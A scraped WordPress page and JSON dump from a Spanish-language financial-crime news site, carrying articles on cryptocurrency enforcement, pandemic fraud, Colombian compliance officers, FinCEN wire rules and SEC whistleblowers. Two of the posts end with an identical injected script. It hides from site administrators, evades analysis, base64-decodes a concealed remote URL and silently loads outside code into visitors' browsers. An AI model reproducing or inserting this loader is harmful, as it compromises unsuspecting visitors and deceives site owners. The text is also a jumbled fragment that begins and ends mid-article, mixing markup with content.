dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a 